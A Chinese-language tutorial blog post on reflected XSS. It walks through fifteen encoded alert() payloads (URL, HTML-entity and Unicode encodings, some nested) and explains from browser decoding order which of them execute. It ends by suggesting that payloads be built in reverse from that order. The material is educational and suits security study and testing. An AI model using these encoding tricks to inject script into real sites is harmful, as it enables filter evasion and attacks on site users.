反射型XSS的几种payload

目录

第一种:采用的是urlcode编码

第二种:前面用html实体编码,后面用urlcode编码

第三种:只对:使用urlcode编码

第四种:对<>进行html实体编码

第五种:textarea

第六种:和第五种一样

第七种:对'进行html实体编码

第八种:对'进行Unicode编码

第九种:对alert(9)进行html实体编码

第十种:对alert进行Unicode编码

第十一种:对alert(11)进行Unicode编码

第十二种:对alert和12进行Unicode编码

第十三种:对'进行Unicode编码

第十四种:在以下位置Unicode编码一个换行符\n

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码

总结:


第一种:采用的是urlcode编码

这里编码的就是javascript:alert(1)

复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

可以发现并没有执行。因为在href里面不认识urlcode编码后的协议

第二种:前面用html实体编码,后面用urlcode编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

由于先进行html实体编码后变成:

复制代码
<a href="javascript:%61%6c%65%72%74%28%32%29">

再进行url解码就可以识别javascript协议

第三种:只对:使用urlcode编码
复制代码
<a href="javascript%3aalert(3)"></a>

同1,:冒号算协议一部分。

第四种:对<>进行html实体编码
复制代码
<div>&#60;img src=x onerror=alert(4)&#62;</div>

当进入数据状态中的字符引用时,确实可以将编码字符进行解码,但不会进入标签开始状态。所以html把它当成一个字符串,可以展示,但无法执行。

第五种:textarea
复制代码
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

因为<textarea>RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素

第六种:和第五种一样
复制代码
<textarea><script>alert(6)</script></textarea>
第七种:对'进行html实体编码
复制代码
<button onclick="confirm('7&#39;);">Button</button>

这里的inclick与a标签的href差不多,可以被html解码。所以执行成功了

第八种:对'进行Unicode编码
复制代码
<button onclick="confirm('8\u0027);">Button</button>

执行失败,因为onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行

第九种:对alert(9)进行html实体编码
复制代码
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

由于script属于原始文本元素(Raw text elements),只可以容纳文本 ,注意没有字符引用,于是直接由JS处理,JS也认不出来,所以执行失败。

原始文本元素(Raw text elements)有<script><style>。

第十种:对alert进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

因为只有标识符,所以JS可以识别执行。

第十一种:对alert(11)进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

因为JS中只有字符串和标识符能用Unicode表示,所以执行失败。

第十二种:对alert和12进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

执行失败,虽然这里可以被解码,但是12被解码出来是字符串,需要引号包含。

第十三种:对'进行Unicode编码
复制代码
<script>alert('13\u0027)</script>

肯定执行失败,同8

第十四种:在以下位置Unicode编码一个换行符\n
复制代码
<script>alert('14\u000a')</script>

执行成功。

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

符合web的解码顺序,所以可以被执行。

总结:
  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作

  2. <textarea><title>里会有HTML解码操作,但不会有子元素

  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作

  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII

  5. JavaScript会对字符串和标识符Unicode解码

根据浏览器的自动解码,反向构造 XSS Payload 即可

相关推荐
excel33 分钟前
Three.js 材质(Material)详解 —— 区别、原理、场景与示例
前端
掘金安东尼1 小时前
抛弃自定义模态框:原生Dialog的实力
前端·javascript·github
hj5914_前端新手5 小时前
javascript基础- 函数中 this 指向、call、apply、bind
前端·javascript
薛定谔的算法5 小时前
低代码编辑器项目设计与实现:以JSON为核心的数据驱动架构
前端·react.js·前端框架
Hilaku5 小时前
都2025年了,我们还有必要为了兼容性,去写那么多polyfill吗?
前端·javascript·css
yangcode5 小时前
iOS 苹果内购 Storekit 2
前端
LuckySusu5 小时前
【js篇】JavaScript 原型修改 vs 重写:深入理解 constructor的指向问题
前端·javascript
LuckySusu5 小时前
【js篇】如何准确获取对象自身的属性?hasOwnProperty深度解析
前端·javascript
LuckySusu5 小时前
【js篇】深入理解 JavaScript 作用域与作用域链
前端·javascript
LuckySusu5 小时前
【js篇】call() 与 apply()深度对比
前端·javascript